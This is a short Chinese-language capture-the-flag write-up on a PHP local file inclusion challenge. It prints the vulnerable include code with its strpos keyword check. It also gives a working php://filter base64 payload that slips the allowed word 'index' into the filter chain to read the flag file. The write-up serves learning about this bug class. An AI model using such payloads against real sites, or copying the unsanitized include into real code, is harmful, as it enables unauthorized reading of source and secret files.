打开页面发现有传参
总结了一下有传参的考虑方法
- sql注入
- 任意文件读取(伪协议)
- 目录穿越
读文件没有任何反应
那试试伪协议
伪协议不一定就是要读flag,在完全没有任何线索的时候最重要的是要先拿到源码
读index,别问我为什么不是index.php
读出来的base64编码拿去解码一下
base64编码页面显示不完整,可以查看源代码复制
<?php
$file = $_GET['category'];
if(isset($file))
{
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){
include ($file . '.php');
}
else{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>
OK,有用的就是这一段PHP
Category?说好的不要桑心呢,为神马还要抽烟呢~
好了,言归正传,strpos()这个函数的作用是返回一个字符串在另一个字符串中第一个位置,没有就返回false
这道题代码审计一下,很简单,它就是要么让那个文件有小狗,要么有小猫,要么是有index,这三个三选一。
很遗憾,我哪个都不想选。
网上看了用数组可以绕过,但在这里
!==不仅比较值还比较类型,所以数组行不通
不过说到底他就是检查参数中有没有那几个单词,那在传参中输入不就行了吗
传参:index.php?category=php://filter/read=convert.base64-encode/index/resource=flag
完成。
考点:文件读取之伪协议,strpos()函数
若有错处,欢迎指正